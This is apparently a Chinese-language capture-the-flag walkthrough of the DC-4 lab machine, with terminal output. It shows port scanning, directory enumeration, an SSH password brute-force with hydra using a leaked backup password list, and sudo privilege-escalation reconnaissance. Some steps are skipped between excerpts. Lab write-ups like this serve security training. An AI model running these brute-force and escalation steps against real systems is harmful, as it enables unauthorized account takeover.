└─# nmap -A -p1-65535 192.168.20.133 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-20 16:22 CST Nmap scan report for 192.168.20.133 Host is up (0.0016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA) | 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA) |_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519) 80/tcp open http nginx 1.15.10 |_http-server-header: nginx/1.15.10 |_http-title: System Tools MAC Address: 00:0C:29:4B:72:9D (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 1.61 ms 192.168.20.133
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.55 seconds
22端口80端口都开放，80端口中间件为nginx，此版本没漏洞
1 2 3
└─# searchsploit nginx 1.15.10 Exploits: No Results Shellcodes: No Results
└─# dirsearch -u "http://192.168.20.133/" /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
www-data@dc-4:/usr/share/nginx/html$ cd /home/jim cd /home/jim www-data@dc-4:/home/jim$ ls ls backups mbox test.sh www-data@dc-4:/home/jim$ cat test.sh cat test.sh #!/bin/bash for i in {1..5} do sleep 1 echo "Learn bash they said." sleep 1 echo "Bash is good they said." done echo "But I'd rather bash my head against a brick wall."
无法利用，但是有发现了一个备份目录backups
1 2 3 4 5 6 7 8 9 10 11
www-data@dc-4:/home/jim$ cd backups cd backups www-data@dc-4:/home/jim/backups$ ls ls old-passwords.bak www-data@dc-4:/home/jim/backups$ cat old-passwords.bak cat old-passwords.bak 000000 12345 iloveyou
有密码本，这很有可能就是jim的登录密码，利用hydra进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
└─# hydra -l jim -P ps.txt ssh://192.168.20.133 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-20 17:25:01 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 252 login tries (l:1/p:252), ~16 tries per task [DATA] attacking ssh://192.168.20.133:22/ [STATUS] 166.00 tries/min, 166 tries in 00:01h, 87 to do in 00:01h, 15 active [22][ssh] host: 192.168.20.133 login: jim password: jibril04 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-20 17:26:42
成功爆破出密码jibril04，登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
└─# ssh jim@192.168.20.133 The authenticity of host '192.168.20.133 (192.168.20.133)' can't be established. ED25519 key fingerprint is SHA256:0CH/AiSnfSSmNwRAHfnnLhx95MTRyszFXqzT03sUJkk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.20.133' (ED25519) to the list of known hosts. jim@192.168.20.133's password: Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Sun Apr 7 02:23:55 2019 from 192.168.0.100 jim@dc-4:~$ ls backups mbox test.sh
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. charles@dc-4:~$ ls charles@dc-4:~$ ls charles@dc-4:~$ sudo -l Matching Defaults entries for charles on dc-4: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teehee
